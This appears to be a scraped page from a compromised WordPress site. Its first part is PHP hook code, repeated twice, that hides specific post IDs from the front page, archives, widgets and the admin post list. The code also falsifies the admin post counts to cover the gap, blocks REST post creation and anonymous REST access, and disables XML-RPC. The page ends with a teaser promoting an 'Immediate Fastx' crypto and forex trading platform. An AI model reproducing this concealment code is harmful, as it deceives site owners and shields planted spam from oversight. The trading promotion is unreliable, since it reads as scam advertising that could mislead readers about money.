add_action('init', function () {
$excluded = array(6745);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
add_action('init', function () {
$excluded = array(53093);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
2 – Pratt Direct
Immediate Fastx Platform 2025 – Complete Guide to Crypto and Forex Trading Begin your 2025 trading strategy by integrating Immediate Fastx with your preferred analytical tools. This platform’s API allows for direct connection to TradingView, enabling you to execute trades from your custom charts without manual order entry. You maintain…